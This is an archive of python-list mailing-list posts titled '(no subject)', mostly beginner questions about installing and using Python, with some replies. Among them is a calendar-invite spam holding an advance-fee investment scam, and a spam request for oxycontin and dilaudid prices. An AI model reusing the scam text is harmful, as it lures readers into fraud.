RE: [Tutor] (no subject)

2022-08-14 Thread avi.e.gross
How long?

Not fibbing but infinite is infinite and I simply so not have the time.

This is so such an EASY question that you need to show some work to interest
us.

You can do this in ANY programming language so explain if there is a reason
you ask here or ...

The real question is what you want. Do you want an algorithm, perhaps in a
function, that returns the first N numbers in the sequence, or one that can
start with an alternate sequences than the usual 0/1 or perhaps do you want
a generator that will return one number at a time infinitely, or until the
world ends, or someone pulls a power cord, whichever is sooner?


-Original Message-
From: Tutor  On Behalf Of
Phindile Julia
Sent: Sunday, August 14, 2022 12:49 PM
To: tu...@python.org
Subject: [Tutor] (no subject)

Hey how to create a Fibonacci list?
___
Tutor maillist  -  tu...@python.org
To unsubscribe or change subscription options:
https://mail.python.org/mailman/listinfo/tutor

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2020-01-17 Thread kiran chawan
Hi,  Sir my self kiran chawan studying in engineering and I have HP PC  and
windows edition is window 10, system type 64-bit operating system.  So tell
me which python version software is suitable for my PC okay and send me
that software direct link okay thank you.
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2020-01-06 Thread AAKASH JANA
Julia is a rapidly progressing language directly attacking python's sweet
spot in a.i , m.l and other computational areas. I love python and want it
to remain undefeated . I think its time we create a compiler for python .
So that python can be compiled and interpreted at will . Its time we make
our snake go faster than the world.(and most importantly Julia)
-- 
https://mail.python.org/mailman/listinfo/python-list


Re: (no subject)

2020-01-06 Thread Rob Gaddi

On 1/4/20 2:29 PM, William Johnsson wrote:

Hello! My name is William and im 14 years old and live in sweden.  Im pretty 
new to programing in python and i need some help with code, (That’s why i’m 
here). But i couldn’t really find what i was searching for on the internet. I’m 
trying to write code that can check only the first line in a .txt file and 
check if it’s the same as the int 1000.   I preferably want it to be an if 
satement but anything works, i just don’t know how i should write it. I’ve been 
browsing the internet for a solution but sadly can’t seem to find a solution to 
it.

I don’t really know if this is the right way to get help or even if this email 
is for something else. Hopefully i will get some kind of response.

Best regards, William



It won't be; it can't be.  A text file contains only text.  The line you read 
from it might be the string '1000' (or more likely '1000\n', which is 4 digits 
followed by a newline character), but it cannot be the int 1000 because data has 
types.


str(1000) gives you '1000', because ints can be converted to strings. 
int('1000') gives you 1000 because and strings consisting only of digits can be 
converted to ints.  So the two types are convertible into one another.  But 
that's a thing you need to do explicitly.  If x is a thing you just read from a 
text file then


if x == 1000:

can never be true.
--
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2020-01-04 Thread William Johnsson
Hello! My name is William and im 14 years old and live in sweden.  Im pretty 
new to programing in python and i need some help with code, (That’s why i’m 
here). But i couldn’t really find what i was searching for on the internet. I’m 
trying to write code that can check only the first line in a .txt file and 
check if it’s the same as the int 1000.   I preferably want it to be an if 
satement but anything works, i just don’t know how i should write it. I’ve been 
browsing the internet for a solution but sadly can’t seem to find a solution to 
it.

I don’t really know if this is the right way to get help or even if this email 
is for something else. Hopefully i will get some kind of response.

Best regards, William
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2019-08-05 Thread arash kohansal
Hello i have a laptob and working with windows 10 ive installed python in
my pc and ive already check the path choice pary in the installation im
working with microsoft visual studio code but it cant find the python
installed extention and it doesnt have the green star on the top of python
language
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2019-06-24 Thread Sagar Jape
I'm not able to install pip in my pc it gives following error. what should
I do?
-- 
https://mail.python.org/mailman/listinfo/python-list


Re: (no subject)

2019-05-31 Thread Alister via Python-list
On Wed, 29 May 2019 08:07:06 +0530, Sri Tharun wrote:

> Why I am unable to install packages

because you are doing it wrong
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2019-05-28 Thread Sri Tharun
Why I am unable to install packages
-- 
https://mail.python.org/mailman/listinfo/python-list


Re: (no subject)

2019-04-19 Thread Luuk

On 19-4-2019 16:37, Tamara Berger wrote:

Hi Python-List,

What code can I use to break out of a program completely, and not just out
of a loop? I wrote code with 3 conditions for saving for a downpayment. The
first addresses cases that don't meet the minimum condition; i.e., enough
money to save for a downpayment within the allotted time. It has its own
print line, but also executes the irrelevant print lines for the other two
conditions.

Thanks,
Tamara



cond1 = 1;
cond2 = 1;
cond3 = 1;

if cond1:
  if cond2:
if cond3:
  print("All OK")
else:
  print("cond3 NOK")
  else:
print("cond2 NOK")
else:
  print("cond1 NOK")



--
Luuk
--
https://mail.python.org/mailman/listinfo/python-list


Re: (no subject)

2019-04-19 Thread Luuk

On 19-4-2019 16:37, Tamara Berger wrote:

Hi Python-List,

What code can I use to break out of a program completely, and not just out
of a loop? I wrote code with 3 conditions for saving for a downpayment. The
first addresses cases that don't meet the minimum condition; i.e., enough
money to save for a downpayment within the allotted time. It has its own
print line, but also executes the irrelevant print lines for the other two
conditions.

Thanks,
Tamara



cond1 = 1;
cond2 = 1;
cond3 = 1;

if cond1:
  if cond2:
if cond3:
  print("All OK")
else:
  print("cond3 NOK")
  else:
print("cond2 NOK")
else:
  print("cond1 NOK")



--
Luuk
--
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2019-04-19 Thread Tamara Berger
Hi Python-List,

What code can I use to break out of a program completely, and not just out
of a loop? I wrote code with 3 conditions for saving for a downpayment. The
first addresses cases that don't meet the minimum condition; i.e., enough
money to save for a downpayment within the allotted time. It has its own
print line, but also executes the irrelevant print lines for the other two
conditions.

Thanks,
Tamara
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2019-04-18 Thread trisha guillot


-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2018-12-11 Thread Alperen Eroğlu
I subscribed to python list and now I want to state my requeat.I downloaded
Python because I wanted to learn how to code.I also downloaded a text
editor specially designed for coding Python(which iscalled Pycharm)
.both of the softwares and my Windows 10 software was he latest.I got into
Python and it asked me which text file I was going to use to edit files,but
the app(which is Python)couldn't find where the files were located.Hope I
shall get a reply sir

Thank you.
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2018-09-16 Thread Ajay Patel


-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2018-09-13 Thread V&R Dota2
>From vigan
Hi i wold like to join in this list because i want to start programing with
python pls acept this
-- 
https://mail.python.org/mailman/listinfo/python-list


Re: (no subject)

2018-06-10 Thread Rick Johnson
sagar daya wrote:
> Couldn't install any module from pip
> Plz help???

As with most actions, an algorithm is required. (shocking, i
know!)

What methodology have you implemented thus far to achieve
your goal of "installing modules from PIP"? Please enumerate
the steps you chose to take, and then we _might_ can offer
advice.

For instance, if someone is having trouble brushing their
teeth, the first question we might ask is: "Have you located
the toothbrush and toothpaste yet?". 

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2018-06-10 Thread sagar daya
Couldn't install any module from pip
Plz help???
-- 
https://mail.python.org/mailman/listinfo/python-list


Re: (no subject)

2018-03-27 Thread Rick Johnson
On Tuesday, March 27, 2018 at 7:19:53 AM UTC-5, kevon harris wrote:
> Unable to pull up IDLE after downloading Python 3.6.4
> 
> Sent from Mail for Windows 10

What OS?

On Windows running Python2.X, IDLE is located @ '/Python2X/Lib/idlelib/idle.pyw'
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2018-03-27 Thread kevon harris
Unable to pull up IDLE after downloading Python 3.6.4

Sent from Mail for Windows 10

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2017-08-19 Thread Owen Berry
I'm new to python and having trouble with the most basic step. I have tried
to install python (Web-based installer) on my home pc to mess around and
attempt to develop a program. when I install the launcher it is fine but
when I try and open the file it launches a modify setup window. I have no
clue how to fix this issue and start using the actual program. how do I go
about fixing this issue? any information would be greatly valued.

Thank you




[image: Inline image 2]

Modify
[image: Inline image 3]

Next
[image: Inline image 4]

Install
[image: Inline image 5]
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2017-07-22 Thread Rahul Sircar
I wrote my code for downloading a file 'Metasploitable' using urllib2.But
it seems to have entered infinite loop.Because the screen is blank.It just
hangs there.Please have a look at my code.

import urllib2
file = 'metasploitable-linux-2.0.0.zip'
url='
https://downloads.sourceforge.net/project/metasploitable/Metasploitable2/metasploitable-linux-2.0.0.zip
'
response = urllib2.urlopen(url)
fh=open(file,'w')
fh.write(response.read())
fh.close()
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2017-04-13 Thread David Shi via Python-list


Which VCF reader has been well tested and proven to be robust?
Looking forward to hearing from you.
Regards.
David
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2017-04-13 Thread David Shi via Python-list
13.1. csv — CSV File Reading and Writing — Python 2.7.13 documentation





| 
|  | 
13.1. csv — CSV File Reading and Writing — Python 2.7.13 documentation
 |  |

 |



I am trying to parse this text file into a table.
How to use consecutive 3 spaces to work as delimiter with csv.reader?

Looking forward to hearing from you.
Regards.
David
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2017-04-07 Thread David Shi via Python-list


I was using IPython notebooks.  All the sudden, it asks for password or token.
I did not set any password or token.
How do I get back to use my IPython notebooks?
Looking forward to hearing from you.
Regards.
David
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-11-06 Thread Abdullahi Salihu Abubakar
Hello!


Hope you guys are fine.  I am a newbie in programming, though I have been
experimenting with Python for close to 3 years, but have never attempt
writing any real-life program.  However, recently I decided to embark on a
personal project to develop a Python App which I want to dedicate to my
community to solve a particular calculation challenge relating to financial
benefits involving a combination of beneficiaries with different level of
benefits.  My intention is to use Python 3.4 or 2.7, with Tkinter and
Python Megawidgets (Pmw) for the GUI.  The following is a short description
of the workings of the proposed app:


1.   The user inputs the amount to be distributed to the beneficiaries into
a text entry box;

2.   He clicks add button, to add the value;

3.   He selects the beneficiaries from a dropdown list, one at a time;

4.   He clicks an “add beneficiary” button to add to the list;

5.   He then clicks a button to calculate the amount entitled by each
beneficiary;

6.   The application then calculates and displays the result in the
following format:

a.   Name: Identity of the beneficiary;

b.   Percentage: the percentage he is entitled from the amount entered (eg.
4/24, 3/12 etc);

c.   Value: the monetary value he is entitled (eg $50 for instance)

7.   The user then clicks a close button to exit the result window.



I don’t have much challenge setting the GUI using Tkinter and Pmw.  But my
challenge is how to handle the data to be entered, calculate the value
based on the percentage each beneficiary is entitled, and allocates same to
him/her.  This is because:

1.   The user can select 3 or 4 beneficiaries with different percentages;

2.   Some beneficiaries don’t have a specific percentage, but only got
their benefits from a reminder value;

3.   Some beneficiaries can have a specific percentage and equally be
entitled to a section of the reminder.

4.   There may be many scenarios (can extend to 1500, but I want to start
experimenting with just 20 instances);

I am not too depth in Python but it is the language of my choice since
2010. I don’t know the complex methods which Python provides in order to
solve this intricate problem for me.  I attempted using the following
python codes:





# I create different categories of beneficiaries first, using a list.


cat1 = [element1, element2, element3, element4]



# Capture the values from the user


amount = input(“Enter Value: “)


choice = input(“Enter Beneficiary:  “)



# I define a defaultdict object in order to set the values for each
beneficiary, as it allows for one-to-many relationship.


Result = defaultdict(list)


# I now use control flow statements to compare values and distribute.


if choice == cat1:

result[cat1[0]].append((amount/6) * 1)

result[cat1[1]].append((amount/6) * 1)

result[cat1[2]].append((amount/6) * 2)

result[cat1[3]].append((amount/3) * 2)

elif choice == cat2:

…continue same approach as above.






My Dilemma


My challenge here is; the above approach does not provide me the necessary
solution. Because:

1.   Let’s assume the first part of the if statement gave me the necessary
values for the beneficiaries, but running it does not produce anything. It
only outputs the storage location of the “result” defaultdict object.  What
is the best approach, please?

2.   I got stocked because I can’t continue using the “if statement” for
each and every category of beneficiaries in order to check the user input,
since I have to create as many instance as possible;

3.   I can’t figure out how to handle the result.  Which method can I use
to display the result based on the format given above?

4.   I presently use list to hold the list of beneficiaries. Based on the
short description of the proposed app above, which other container is it
suitable for holding the categories of the beneficiaries?

I am sorry if I omit any necessary information. This is how far I have
gone. I am always ready to provide any necessary details please. Am a
newbie, but always ready to learn, no matter what.


Thanks in anticipation of your magnanimity.



-- 
Abdallah Salihu Abubakar (Abu Siddeeq)
Off Lagos crescent,
Unguwar Hausawa,
Garki Village,
P. O. Box 11617,
Garki 91,
Abuja - Nigeria
08034592444
salihua...@gmail.com, http://groups.yahoo.com/groups/nurul-islam
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-05-27 Thread Noah Fleiszig
Thank you

-- 
Sent from Gmail Mobile
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-04-17 Thread B N
Foor ages, I have been trying to summon up courage learn how to program. I 
chose o start with Python. I found that when the “black” screen comes on, I am 
unable to read/see any characters even if I turn up the brightness of the 
screen. So, I give up. I tried version 3.5.1. I shall be grateful for any help. 
Also I have not ben ale to save it on C/programmes/files
Thank you
Ben

Sent from Mail for Windows 10

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-04-11 Thread DEEPAK KUMAR PAWAR
I am trying to install numpy along with the python35
But it getting error everytime.



Sent from Mail for Windows 10

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-03-23 Thread Nick Eubank
Hello All,


Found an odd behavior I'd never known about today, not sure if it's a bug
or known. Python 3.4.4 (anaconda).

True, False, 0, 1 can all be used as dictionary keys.

But Apparently True and 1 hash to the same item and False and 0 hash to the
same item, so they can easily overwrite (which I spent a while banging my
head over today).

In other words:

 In[1]:
 d = {True: 'a', False: 'b'}
 d[0] = 'z'
 d[False]

Out[1]:
 'z'

I understand that True and False are sub-types of ints, but it's not clear
to me why (i.e. certainly didn't feel intuitive) that they would be treated
the same as keys.

Relatedly, if this is a desired behavior, any advice one how best to work
with dictionaries when one wants "True" and 1 to be different? I'm working
on a function that accepts arguments that may be "True" or 1 (meaning very
different things) and am seeking a pythonic solution...
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-03-14 Thread Ezra Simms
I cannot seem to get pymongo to find my python installation – keep getting an 
error saying pythin has not been found in the registry? Why is this.

Sent from Mail for Windows 10

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-03-11 Thread Swetha Reddy
Hi, i just downloaded the python software. when i search for it in my
downloads, a folder called python 3.5.1 ( 32 bit ) Setup is seen. But when
i try to open it, it has only three options : Modify, Repair and uninstall.
there are no other files of python in my computer except this. Where can i
get the python IDE if thats what its called, the place where you get to
type and code and create programs? please reply to thins.
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-03-01 Thread Shamanov
I can't work with Python

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-02-12 Thread Manas Soni

I have downloaded python and when I click on it, it asks me to repair which I 
do, it then says successful however when I click on it again it won’t let me on 
it
Sent from Mail for Windows 10

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-01-28 Thread Karla Larrea
Instalar python

-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-01-20 Thread John 111


Sent from Windows Mail
  I can’t use python. I just download it on my windows but when I 
open it they show me three options only change,repair & uninstall. I am looking 
forward for the solution from you.

  Hope to hear from you soon!!!



-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2016-01-09 Thread tommy roberts
It will not allow my to run python 3.5.1


-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-12-31 Thread ebuka ogbonnaya
I use window 7 (32-bit). so i dont know what else to do. please i need a
solution to that
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-12-21 Thread Animesh Srivastava
While installin python3.5.1 i m getting 0xc07b error
Please reslove it
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-12-15 Thread Malik Brahimi
Basically,  I'm trying to make an event based system with pywin32 that
handles spooled files that are to be printed. Users often print under the
impression that their document has yet to emerge from the printer when it
is in fact in queue. I'm creating a script that polls print jobs,  saves
them in a Mongo DB as needed, and prompts the user to reconsider another
print job for a duplicate document.

However,  I'm running into some problems distinguishing documents as unique
because the print job could have the same document name but the files could
be in different directories.  Additionally,  I have no idea how to
temporarily halt spooling until the user has confirmed their decision.

Does anyone have any idea how to distinguish documents as unique and how to
temporarily halt spooling as described?
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-11-23 Thread Alexandre Barreto
I install python 3.5.0 and run eazy to install and my antivírus detect and 
trogen can you explay cus im new to this language.
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-11-23 Thread sridhar gunasekaran
Hai I have installed python 3.5 in my pc I could not see any application icon 
or application shortcut on my pc


Sent from Mail for Windows 10
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-11-13 Thread Animesh Srivastava
Whenever i install python 3.5.0 compiler
It gives me error 0x07b
Can u please resolve it
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-11-09 Thread Ainoa Gutiérrez Suárez
it doesn´twork the entry to Python.






Enviado desde Correo de Windows
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-10-26 Thread dore.theo36


Provenance : Courrier pour Windows 10
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-10-16 Thread 513-3M1L1X- TR19
Hello I was trying to install python35 on my windows laptop and I am told that 
the python35.dll files is missing 
Tried to repair many times but still the same problem.
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-06-25 Thread Knss Teja via Python-list
I WANT TO install 4.3  version ... but the MSI file is giving a DLL error .. 
what should I do :/
please use REPLY ALL .. so that I get the mail to my gmail inbox-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-06-22 Thread John T. Haggerty
I'm looking to just have a simple program that will do a SQLite query pull
a random record and then copy that record too the clipboard the system. I'm
not quite seeing how to do this perhaps this is already been done elsewhere
but I spent quite a bit of time trying to figure out how to do that and I'm
not seeing a listing anywhere. any help would be greatly appreciated.
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-06-19 Thread Scott
We've been using a simple container implementation of a mathematical relation 
(https://simple.wikipedia.org/wiki/Relation_(mathematics)) (i.e. an invertible 
M:M mapping) for some time.
We've been waiting for many years (decades actually) to have this concept 
incorporated as a standard container in one of the modern programming languages 
so we could swap our code with a language-standard container. To further these 
efforts, we have decided to initiate a conversation with the python community 
on adding a relation as a standard Python container package. 

Briefly the uses of a relation are:

- quickly finding the values/range associated with keys/domain (e.g. 
*inversion*)
- maintaining a unique relationship between keys and values,(e.g. *isomorphism* 
or *aliasing*)
- using keys to categorize (one-to-many) values (e.g. *partitioning*)
- associating two sets in an arbitrary/bipartite manner (e.g. *tagging*)

Below is a link to an implementation, including an ipython notebook with light 
exposition and some canonical examples. We'll also be presenting a poster at 
SciPy 2015. Let us know if this, or something like it, seems like a worthwhile 
addition to the standard Python distribution.

Thank you,

Scott James, James Larkin

scott.ja...@noblis.org 
james.lar...@noblis.org


https://github.com/scott-howard-james/relate -- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-05-28 Thread Laura Creighton
Sabe usted acerca de estas páginas?
https://mail.python.org/mailman/listinfo/python-es
https://wiki.python.org/moin/SpanishLanguage

Laura


-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-05-28 Thread yasna araya
hola, escribo para solicitar el uso del programa Python para trabajarlo con mi 
hijo. desde ya muchas gracias






Enviado desde Correo de Windows-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-05-01 Thread newton avetisyan







Sent from Windows Mail-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-04-22 Thread Chandra Prashad mishra
sir how can i improve my basic knowledge about programming.can u give
me some hint...just give me way
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2015-03-23 Thread Chandra Prashad mishra
I want to know hint about web development... can any one get me...
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2014-10-17 Thread Dhananjay
Hello,

This might be simple, but I guess I am missing something here.
I have data file as follows:

2.1576318858 -1.8651195165 4.2333428278
2.1681875208 -1.9229968780 4.1989176884
2.3387636157 -2.0376253255 2.4460899122
2.1696565965 -2.6186941271 4.4172007912
2.0848862071 -2.1708981985 3.3404520962
2.0824347942 -1.9142798955 3.3629290206
2.0281685821 -1.8103363482 2.5446721669
2.3309993378 -1.8721153619 2.7006893016
2.0957461483 -1.5379071451 4.5228264441
2.2761376261 -2.5935979811 3.9231744717
.
.
.
(total of 200 lines)

Columns 1,2,3 corresponds to x,y,z axis data points.
This is not a continuous data. I wish to make a plot as a 2D with 3rd
dimension (i.e z-axis data) as a color map with color bar on right hand
side.

As a beginner, I tried to follow tutorial with some modification as
follows:
http://matplotlib.org/examples/pylab_examples/tricontour_vs_griddata.html

# Read data from file:
fl1 = open('flooding-psiphi.dat','r').readlines()
xs = ys = zs = []
for line in fl1:
line = line.split()
xs.append(float(line[0]))
ys.append(float(line[1]))
zs.append(float(line[2]))

print xs[0], ys[0], zs[0]
xi = np.mgrid[-5.0:5.0:200j]
yi = np.mgrid[-5.0:5.0:200j]
zi = griddata((x, y), z, (xi, yi), method='cubic')
plt.subplot(221)

plt.contour(xi, yi, zi, 15, linewidths=0.5, colors='k')
plt.contourf(xi, yi, zi, 15, cmap=plt.cm.rainbow,
norm=plt.Normalize(vmax=abs(zi).max(), vmin=-abs(zi).max()))
plt.colorbar()  # draw colorbar
plt.plot(x, y, 'ko', ms=3)
plt.xlim(-5, 5)
plt.ylim(-5, 5)
plt.title('griddata and contour (%d points, %d grid points)' %
  (npts, ngridx*ngridy))
#print ('griddata and contour seconds: %f' % (time.clock() - start))
plt.gcf().set_size_inches(6, 6)
plt.show()


However, I failed and getting long error as follows:

QH6154 qhull precision error: initial facet 1 is coplanar with the interior
point
ERRONEOUS FACET:
- f1
- flags: bottom simplicial upperDelaunay flipped
- normal:0.7071  -0.70710
- offset: -0
- vertices: p600(v2) p452(v1) p304(v0)
- neighboring facets: f2 f3 f4

While executing:  | qhull d Qz Qbb Qt
Options selected for Qhull 2010.1 2010/01/14:
  run-id 1531309415  delaunay  Qz-infinity-point  Qbbound-last  Qtriangulate
  _pre-merge  _zero-centrum  Pgood  _max-width 8.8  Error-roundoff 1.2e-14
  _one-merge 8.6e-14  _near-inside 4.3e-13  Visible-distance 2.5e-14
  U-coplanar-distance 2.5e-14  Width-outside 4.9e-14  _wide-facet 1.5e-13

precision problems (corrected unless 'Q0' or an error)
  2 flipped facets

The input to qhull appears to be less than 3 dimensional, or a
computation has overflowed.

Qhull could not construct a clearly convex simplex from points:
- p228(v3):   2.4   2.4   1.4
- p600(v2):   1.4   1.4   8.8
- p452(v1):   5.7   5.7 8
- p304(v0):  -3.1  -3.1   2.4

The center point is coplanar with a facet, or a vertex is coplanar
with a neighboring facet.  The maximum round off error for
computing distances is 1.2e-14.  The center point, facets and distances
to the center point are as follows:

center point1.5951.5955.173

facet p600 p452 p304 distance=0
facet p228 p452 p304 distance=0
facet p228 p600 p304 distance=0
facet p228 p600 p452 distance=0

These points either have a maximum or minimum x-coordinate, or
they maximize the determinant for k coordinates.  Trial points
are first selected from points that maximize a coordinate.

The min and max coordinates for each dimension are:
  0:-3.134 5.701  difference= 8.835
  1:-3.134 5.701  difference= 8.835
  2:  -2.118e-22 8.835  difference= 8.835

If the input should be full dimensional, you have several options that
may determine an initial simplex:
  - use 'QJ'  to joggle the input and make it full dimensional
  - use 'QbB' to scale the points to the unit cube
  - use 'QR0' to randomly rotate the input for different maximum points
  - use 'Qs'  to search all points for the initial simplex
  - use 'En'  to specify a maximum roundoff error less than 1.2e-14.
  - trace execution with 'T3' to see the determinant for each point.

If the input is lower dimensional:
  - use 'QJ' to joggle the input and make it full dimensional
  - use 'Qbk:0Bk:0' to delete coordinate k from the input.  You should
pick the coordinate with the least range.  The hull will have the
correct topology.
  - determine the flat containing the points, rotate the points
into a coordinate plane, and delete the other coordinates.
  - add one or more points to make the input full dimensional.
Traceback (most recent call last):
  File "./scatter.py", line 43, in 
zi = griddata((x, y), z, (xi, yi), method='linear')
  File "/usr/lib/python2.7/dist-packages/scipy/interpolate/ndgriddata.py",
line 183, in griddata
ip = LinearNDInterpolator(points, values, fill_value=fill_value)
  File "interpnd.pyx", line 192, in
scipy.interpolate.interpnd.LinearNDInterpolator.__init__
(scipy/interpolate/interpnd.c:2598)
  File "qhull.pyx", line

[no subject]

2014-03-18 Thread Nathan Bruce
Hi I was wondering how much your oxycontins are for what mg and quantity.
Also do you guys sell dilaudid?

Thank you
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2014-03-17 Thread J Prashanthan
i am doing my masters currently and im stuck up with my final project. As i
was interested in learning a new language i opted to do my final project in
python. im currently working on building an unit tester for multithreaded
code. Due to various reasons i got stuck with my project. basically my lack
of knowledge in python and i have none to help me with it. i have no idea
what to do with my project . and my deadline is in another 1 week . I have
completed working on the atomicity violation finder .
Finding Atomicity-Violation Bugs through Unserializable Interleaving
Testing by
Shan Lu, Soyeon Park, and Yuanyuan Zhou, Member, IEEE. This is my base
paper . can anyone please help me with it. if anyone has a working code
please mail me.
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2013-12-16 Thread shankha
Hi,
For people who wish to contribute is there a script which checks if the
patch is good and the test
results are matching with the baseline and basically says yes or no about
good or not good to merge.

-- 
Thanks
Gudge
-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2013-12-12 Thread marcinmltd
Hello,

I'm big fan of multiprocessing module, but recently I started looking at 
threading in Python more closely and got couple of questions I hope You can 
help me with:

1. When I run two or more threads in my python process are they really run 
concurrently on mulicore machine?

2. Browsing through documentation it looks like python interpreter protects its 
sensitive states by using GIL. Can you guys list situations when this happens?

2. What would be general advice from python experts on when to use threadng and 
when switch to multliprocessing in python? Is the decision still influenced by 
how often we need to comunicate between the tasks as it's in C\C++?

thanks in advance for help!
Marcin


-- 
https://mail.python.org/mailman/listinfo/python-list


[no subject]

2013-04-16 Thread Andrew Ndhlovu



--
Using Opera's mail client: http://www.opera.com/mail/
--
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2013-03-23 Thread Yann Manuel
Dear Mr/Mrs,
 I'm reading this book called dive into python 3, and the author does not 
describe everything, but he gives a link to a blog: 
(http://adam.gomaa.us/blog/2008/aug/11/t ... y-builtin/).  The blog is gone and 
i cant find it. Does anyone knows where i can find the information of this blog 
or at least something similar to it? The blog is called the python property 
built in, by adam gomaaSincerly yours,
 Yann Manuel from Holland.-- 
http://mail.python.org/mailman/listinfo/python-list


Invitation: (No Subject) @ Mon Feb 25, 2013 3:30pm - 4:30pm (python-list@python.org)

2013-02-25 Thread Bolton Nelsan
BEGIN:VCALENDAR
PRODID:-//Google Inc//Google Calendar 70.9054//EN
VERSION:2.0
CALSCALE:GREGORIAN
METHOD:REQUEST
BEGIN:VEVENT
DTSTART:20130225T133000Z
DTEND:20130225T143000Z
DTSTAMP:20130225T132128Z
ORGANIZER;CN=drbolton.nel...@gmail.com:mailto:drbolton.nel...@gmail.com
UID:u8fs9ssgnt0gkee93jkklk5...@google.com
ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=
 TRUE;CN=python-list@python.org;X-NUM-GUESTS=0:mailto:python-list@python.org
CREATED:20130225T132126Z
DESCRIPTION:Good Day\,\n I am Mr Mohammad H Fayaz\, a citizen of SYRIAN. I 
 have some reasonable and verifiable funds which I want to invest in your co
 untry with you as my managing partner. Although I have an age long interest
  in the Real Estate business\, I would however rely on your advise on any p
 rofitable/low risk business venture since you as a citizen of your country 
 would be more accurate as to the best type of business to venture into.Shou
 ld this proposal be of any interest to you\, please do not hesitate to cont
 act me immediately on (fmrmoham...@yahoo.com) I will provide the complete d
 etails of this business proposal as soon as I hear from you.\n Best Regards
 \,\nMr Mohammad H Fayaz\nView your event at http://www.google.com/calendar/
 event?action=VIEW&eid=dThmczlzc2dudDBna2VlOTNqa2tsazU4NzggcHl0aG9uLWxpc3RAc
 Hl0aG9uLm9yZw&tok=MjUjZHJib2x0b24ubmVsc2FuQGdtYWlsLmNvbTIwMjBhMjlkODdkZTcwO
 WI4ZDBjODE2MmRlN2I2OTFmZmQyZGRlYWI&ctz=Africa/Johannesburg&hl=en.
LAST-MODIFIED:20130225T132126Z
LOCATION:
SEQUENCE:0
STATUS:CONFIRMED
SUMMARY:
TRANSP:OPAQUE
END:VEVENT
END:VCALENDAR


invite.ics
Description: application/ics
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2013-02-14 Thread Megha Agrawal
Hello All,

I am a newbie to python language. I need your help in implementation of
Binary tree in python. I have a count of nodes and I need to draw a binary
tree. Suppose if count is 5 then tree will look like
  1
 /   \
   /   \
  2 3
 / \
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2013-02-14 Thread md123

using ubuntu 12.10 i am trying to run a python block, namely OP25, in GNU Radio 
Companion v3.6.3-35-g4435082f. i get the following error:

Executing: "/home/matt/op25_grc.py"

Imported legacy fsk4
Using Volk machine: ssse3_32
Traceback (most recent call last):
File "/home/matt/op25_grc.py", line 493, in 
tb = op25_grc()
File "/home/matt/op25_grc.py", line 231, in __init__
self.wxgui_fftsink2_0_0.set_callback(wxgui_fftsink2_0_0_callback)
File "/usr/local/lib/python2.7/dist-packages/gnuradio/gr/hier_block2.py", line 
54, in __getattr__
return getattr(self._hb, name)
AttributeError: 'gr_hier_block2_sptr' object has no attribute 'set_callback'

i cannot find any sort of solution on the web anywhere. any sort of help will 
be much appreciated. thanks in advance.-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2012-12-15 Thread Dustin Guerri
Hi there,

I'm new to Python and to programming.  is this the right place for me to
post a beginner question on Python use ?

Many thanks.
-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2012-07-04 Thread levi nie

-- 
http://mail.python.org/mailman/listinfo/python-list


[no subject]

2012-03-10 Thread Sam Sam
How to change the color of source browser in DrPython?
-- 
